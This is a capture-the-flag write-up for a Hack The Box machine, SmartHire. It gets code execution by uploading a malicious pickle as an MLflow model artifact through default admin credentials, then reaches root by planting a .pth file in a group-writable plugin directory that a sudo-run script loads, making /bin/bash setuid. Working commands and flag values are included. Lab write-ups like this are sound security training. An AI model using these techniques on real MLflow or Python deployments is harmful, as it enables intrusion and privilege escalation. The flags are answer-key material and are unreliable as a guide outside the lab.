Back to writeups
HTBmachineMediumsolved

SmartHire

13 Jul 2026 · by 0xIDA

Solvers

SmartHire (HTB Medium Linux)

Author: 0xIDA

Solvers

Summary

Flask hiring/ML app registers sklearn models to MLflow (models.smarthire.htb, Basic admin:password). Overwrite python_model.pkl artifact after training (pickle RCE) → code exec as svcweb. Sudo runs mlflowctl.py, which site.addsitedirs group-writable plugins/dev → malicious .pth executes as root.

Flags (live-verified)

User: 040133f454c6eb5bc3021b9b02f4afcc
Root: f0df08934c5419f721f96380a0cd7dfe

MCP: user + root submit success.

Solution

1) Recon

22/tcp OpenSSH
80/tcp nginx → smarthire.htb (Flask)
vhost models.smarthire.htb → MLflow 2.14.1 Basic realm=mlflow

Default creds: admin:password.

2) App + train

Register/login → /upload_hiring_data trains model registered as {company}-{user_id}-model.

3) Pickle RCE

  1. Train model (creates MLflow run + registered version).
  2. As MLflow admin, overwrite artifact:
    POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid=<run>&path=model/python_model.pkl
    
    with malicious pickle (exec reduce).
  3. Call /predict → unpickle → RCE as svcweb.

Exfil via writing static/pwn_out.txt (served by Flask). Plant SSH key → ssh svcweb@target.

User: 040133f454c6eb5bc3021b9b02f4afcc

4) Root

sudo -l
# (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

mlflowctl.py adds every plugins/* dir via site.addsitedir. plugins/dev is 0775 root:devs (svcweb ∈ devs).

echo 'import os; os.system("chmod 4755 /bin/bash")' > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
bash -p -c 'cat /root/root.txt'
# f0df08934c5419f721f96380a0cd7dfe

Tools

nmap, curl, ffuf, python3 (pickle, requests), ssh.

Pitfalls

  • App may cache models; retrain then immediately overwrite the new run’s python_model.pkl before predict.
  • Pickle exec returns None → app error NoneType has no attribute load_context is expected success signal.
  • Outbound reverse shells may fail; write to static/ under app cwd instead.
  • Python .pth lines starting with import execute on addsitedir.